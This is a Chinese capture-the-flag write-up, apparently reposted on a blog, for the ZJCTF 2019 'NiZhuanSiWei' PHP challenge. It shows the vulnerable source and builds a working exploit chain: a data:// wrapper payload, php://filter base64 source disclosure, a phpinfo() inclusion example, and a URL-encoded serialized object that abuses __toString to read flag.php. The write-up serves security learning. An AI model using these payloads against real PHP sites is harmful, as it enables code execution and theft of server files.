【ZJCTF 2019】NiZhuanSiWei KiHanahare

直接引用这位的文章,

前言

本题涉及到 伪协议文件包含反序列化

开门见山

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

一上来就是源码安排上,粗略扫一眼,需要进入if true的代码块内

伪协议

进入if true的代码块内,需要用到 data:// 协议

data://协议
需要allow_url_fopen,allow_url_include均为on

这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

text/plain,表示的是文本

text/plain;base64, 若纯文本没用可用base64编码

这里我们选用纯文本模式:

text=data://text/plain,welcome to the zjctf

成功进入

题外话:虽然这里很想就着filegetcontents拿到flag,但是$text写死了

文件包含

也许你迫不及待就像用include把flag干掉,但是我知道你很急,但你先别急,flag被ban了的,可以考虑绕绕preg_match,我想到的是PCRE,让其返回false(也就想想,没实践)

在PHP中,文件包含漏洞通常发生在这四个函数中:

require()

require_once()

include()

include_once()

这里我们用php://filter协议,来看看注释中的useless.php(参考资料中这个协议拼错了,在此引用已更正)

此协议一般用来查看源码

一般用法如下

www.xxx.xxx/?file=php://filter/convert.base64-encode/resource==index.php

出来的是base64码需要进行解码

此协议不受allow_url_fopen,allow_url_include配置影响

故构造payload

file=php://filter/convert.base64-encode/resource=useless.php

成功读到useless.php的base64,拿去解码可以得到以下源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

反序列化

源码中的 unserialize 函数能触发反序列化漏洞

说到反序列化,不得不了解下魔术方法,在此就不赘述了 此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,用就对了

附:参考片段

...
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
...

useless.php里写的filegetcontents直接去读flag.php,构造payload

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __construct(){
        $this->file = "flag.php";
    }  
}  

$a = new Flag();
$b = serialize($a);
echo urlencode($b);
?>   

得到

password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D  

最终payload

text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值